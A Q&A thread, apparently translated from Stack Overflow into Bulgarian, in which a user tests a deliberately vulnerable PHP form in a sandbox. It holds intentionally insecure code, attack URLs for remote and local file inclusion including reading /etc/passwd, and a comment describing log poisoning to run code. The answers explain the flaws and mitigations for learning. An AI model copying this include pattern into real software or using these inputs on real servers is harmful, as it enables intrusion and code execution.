Защита на подвизите

Настроих пясъчна среда и се опитвам да стартирам експлойти, за да мога по-добре да разбера как по-добре да се защитавам срещу тях. Когато стартирам следното, процесът се проваля както трябва и по правилната причина. Но тогава не съм сигурен, защото не мога да намеря много "как да напиша правилен експлойт". Ето моят код и следва съобщението при неуспех. Всякакви насоки биха били чудесни.

 //unform.php (unprotected form)
 <html>
 <head>
 <title>Try An Exploit</title>
 <?php
 if (!empty($_GET)){
    foreach($_GET as $key=>$value){
    ${$key} = $value;
    }
}

 //no sanitizer here.
 echo $key;
 include($value);
 ?>
 </head>
 <body>
 <h1>This Is Bad</h1>

 <form action="#" method="get">
<select name="COLOR">
       <option value="red">red</option>
       <option value="blue">blue</option>
    </select>
<input type="submit" value="Kick Me" />
 </form>
 </body>

Скрипт за експлоатация, прости неща:

 exploit.php
 <?php
   $somevar = "This is just a string";
   echo $somevar;
 ?>

Лошият човек би кодирал трудно следното в адресната лента на браузъра си:

 http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php

Изход към браузъра при опит за зареждане на адреса:

 Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0

Така ли е? Или има друга техника, за която трябва да търся?
Благодаря


person rwhite    schedule 28.09.2012    source източник
comment
Какво се опитваш да направиш? Ако искате да напишете скрипт с дупки в сигурността, това е много лесно да направите, дори ако не се опитвате активно да го направите. Ако въпросът ви е има ли други експлойти в PHP, тогава въпросът е твърде широк.   -  person NullUserException    schedule 29.09.2012
comment
Има само една техника. Валидирайте ВСИЧКИ входове, не се доверявайте на никоя променлива, защото никога не знаете откъде ще дойде атаката.   -  person Tchoupi    schedule 29.09.2012
comment
Добре, но това ли е всичко, което трябва да търся? Предотвратих ли 50% от подвизите? Какви са другите (ако има такива)?   -  person rwhite    schedule 29.09.2012
comment
Добре, тъй като нямам опит с кракване на сървър, търся най-често срещаните експлойтове и как да ги изключа. Дезинфектантите са един подход, непозволяването на HTTP включвания е друг, това ли е повечето техники?   -  person rwhite    schedule 29.09.2012
comment
http://www.sandbox.com/path/to/unform.php?COLOR=/etc/passwd ... това все още трябва да работи добре (освен ако нямате open_basedir зададено ограничение).   -  person newfurniturey    schedule 29.09.2012
comment
Ако include нещо идва от потребител (да се чете: потенциален нападател), особено без подходяща дезинфекция, не трябва да програмирате. Най-често срещаните експлойти в уебсайтове са XSS, SQL инжектиране и CSRF.   -  person NullUserException    schedule 29.09.2012
comment
Това е доста широк въпрос - цели книги са написани за сигурността на уеб приложенията. Може да получите по-подробни отговори на адрес Сигурност или от книги като The Tangled Web на Михал Залевски.   -  person DCoder    schedule 29.09.2012
comment
Благодаря, съгласих се, но се опитвам да пиша и да използвам, за да мога да разбера по-добре какво се случва под капака. Ще проверя XSS.   -  person rwhite    schedule 29.09.2012


Отговори (1)


Изглежда, че въпросният експлойт е изпълнение на произволен скрипт. Скриптът не е уязвим към произволно изпълнение на отдалечени скриптове поради някои настройки на php.ini - но е уязвим към произволно изпълнение на локални скриптове.

Произволно изпълнение на отдалечени скриптове

По подразбиране директивата allow_url_include php.ini е зададена на 0 - предотвратявайки включването на отдалечени файлове, като така:

include("http://www.remoteserv.com/exploit.php");

... или по същия начин така:

$myVar = "http://www.remoteserv.com/exploit.php";
include($myVar);

Вижте Конфигурации по време на изпълнение - Опции за конфигуриране на файлова система и потоци и Използване на отдалечени скриптове на php.net за повече информация.

Технически, вие все още сте уязвими за атаки, тъй като потребителят може да предостави вход, който води до грешка - реалистично трябва да дезинфекцирате този вход - но не сте уязвими към произволно изпълнение на отдалечени скриптове.

Произволно изпълнение на локални скриптове

Но директивите php.ini не ви защитават от изпълнение на локален скрипт. Нападателят може да използва URL като...

http://www.sandbox.com/path/to/unform.php?wtv=/tmp/SomeFile.php

... и този файл ще бъде включен. Може да е файл, който не е PHP (което води до грешка) или може да е файл, който атакуващият е поставил на вашия сървър - или чрез качване на файл, или чрез Споделена хостинг среда.

За допълнително четене, глава 5 от книгата Essential PHP Security е посветена изцяло на сигурността на включване.

други

Вие сте също уязвими към XSS:

echo $key;

Когато извеждате $key - което е вход - трябва да кодирате изхода по някакъв начин, вероятно като използвате htmlentities(...)< /a>.

Вие също така манипулирате променливи, като използвате use input:

${$key} = $value;

...което е лоша идея.

person Richard JP Le Guen    schedule 28.09.2012
comment
Благодаря за отговора, XSS изглежда като следващата спирка. - person rwhite; 29.09.2012
comment
Вашият отговор е насочен само към отдалечено включване на файлове; все още съществува уязвимостта на Local-File-Inclusion. Локалните файлове могат да се четат и извеждат с include(); За да изпълни произволен код, атакуващият може да посети http://site.com/<?php exec('...'); и след това да извика ?COLOR=/path/to/error_log и PHP ще бъде изпълнен. Уязвимостта Local-File-Inclusion може да бъде много по-опасна от XSS и не трябва да се пренебрегва =P - person newfurniturey; 29.09.2012
comment
@newfurniturey - Това е отлична точка. Да редактирам ли отговора си в този смисъл или предпочитате да го публикувате като отделен отговор? - person Richard JP Le Guen; 29.09.2012
comment
страхотно. това е, на което се надявах, пътека за учене, за да мога да навлизам в крак. Ще взема книга, но първо исках да видя 10 000 фута. Благодаря на всички. - person rwhite; 29.09.2012
comment
@RichardJPLeGuen Няма проблем да отговаряш; Една публикация за покриване на всички теми би била по-добра от шепа, покриващи по една =] - person newfurniturey; 29.09.2012